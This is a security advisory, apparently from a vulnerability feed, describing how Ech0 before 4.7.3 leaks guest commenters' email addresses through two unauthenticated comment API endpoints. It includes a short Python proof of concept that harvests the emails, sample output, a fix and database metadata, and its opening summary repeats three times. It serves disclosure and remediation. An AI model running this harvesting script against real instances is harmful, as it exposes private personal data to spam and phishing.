Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
Ech0 versions before 4.7.3 expose guest commenter email addresses through public API endpoints due to improper JSON serialization tags on the Comment model. Unauthenticated attackers can harvest all commenter emails by calling the /api/comments and /api/comments/public endpoints without authentication.
## Summary
The `Comment` model serializes its `Email` field through the public comment-listing API. `internal/model/comment/comment.go:33` uses `json:"email"`, while adjacent PII fields (`IPHash`, `UserAgent`) correctly use `json:"-"`. The public endpoints `GET /api/comments?echo_id=X` and `GET /api/comments/public?limit=N` both live on `PublicRouterGroup` with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.
## Details
The Comment model at `internal/model/comment/comment.go:33`:
```go
type Comment struct {
// ...
Email string `gorm:"size:255;not null;index" json:"email"`
IPHash string `gorm:"size:128;index" json:"-"`
UserAgent string `gorm:"size:512" json:"-"`
// ...
}
```
The `json:"-"` on `IPHash` and `UserAgent` shows the developer's intent: hide server-side PII from API responses. The `Email` field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.
Routes at `internal/router/comment.go:20` and comment public-feed route:
```go
appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())
appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments())
```
Both handlers call `ListPublicByEchoID` (service at `internal/service/comment/comment.go:329`) or `ListPublicComments` (service at `:340`), both of which return the slice of `Comment` structs to `ctx.JSON`. No DTO projection, no field stripping.
The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.
GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on `GET /api/allusers`, which exposed account-owner emails. This report covers a distinct endpoint (`/api/comments` and `/api/comments/public`) and a distinct data subject (guest commenters, not registered account owners).
## Proof of Concept
Anonymous caller harvests commenter emails on the default install:
```python
import requests
TARGET = "http://localhost:8300"
# Any echo UUID from the public feed.
pub_id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"]
# No auth header. The response includes the raw email field.
r = requests.get(f"{TARGET}/api/comments", params={"echo_id": pub_id})
for c in r.json()["data"]:
print(f" nickname={c['nickname']!r} email={c.get('email')!r}")
# The /public variant returns recent comments across every echo.
r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100})
emails = {c.get("email") for c in r.json()["data"] if c.get("email")}
print(f"harvested {len(emails)} unique emails from /comments/public")
```
Observed on v4.5.6:
```
nickname='GuestHarvestMe' email='[email protected]'
harvested 1 unique emails from /comments/public
```
The instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.
## Impact
Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against `/api/comments/public`. Privacy-regulation exposure follows:
- **GDPR and CCPA.** Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.
- **Spam and phishing targeting.** Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.
- **Cross-instance aggregation.** A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers.
No authentication required. No admin role required. The `/comments/public` endpoint returns cross-echo aggregated data, so one call covers the whole instance.
## Recommended Fix
Change the JSON tag on the Email field to match the adjacent PII fields:
```go
Email string `gorm:"size:255;not null;index" json:"-"`
```
Or, if some authenticated view needs the email, introduce a `PublicComment` DTO that projects only non-sensitive fields:
```go
type PublicComment struct {
ID string `json:"id"`
EchoID string `json:"echo_id"`
Nickname string `json:"nickname"`
Website string `json:"website,omitempty"`
Content string `json:"content"`
Status string `json:"status"`
Hot bool `json:"hot"`
Source string `json:"source"`
CreatedAt int64 `json:"created_at"`
UpdatedAt int64 `json:"updated_at"`
}
```
Project the handler output through this DTO. Keep the raw `Comment` struct internal to the service layer.
---
*Found by [aisafe.io](https://aisafe.io)*
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 25, 2026, 11:33:24 AM
dateUpdated: Aug 25, 2026, 3:32:51 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-200
Original publisher date fields
published: 2026-08-25T12:16:29.617
lastModified: 2026-08-31T20:50:15.927
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.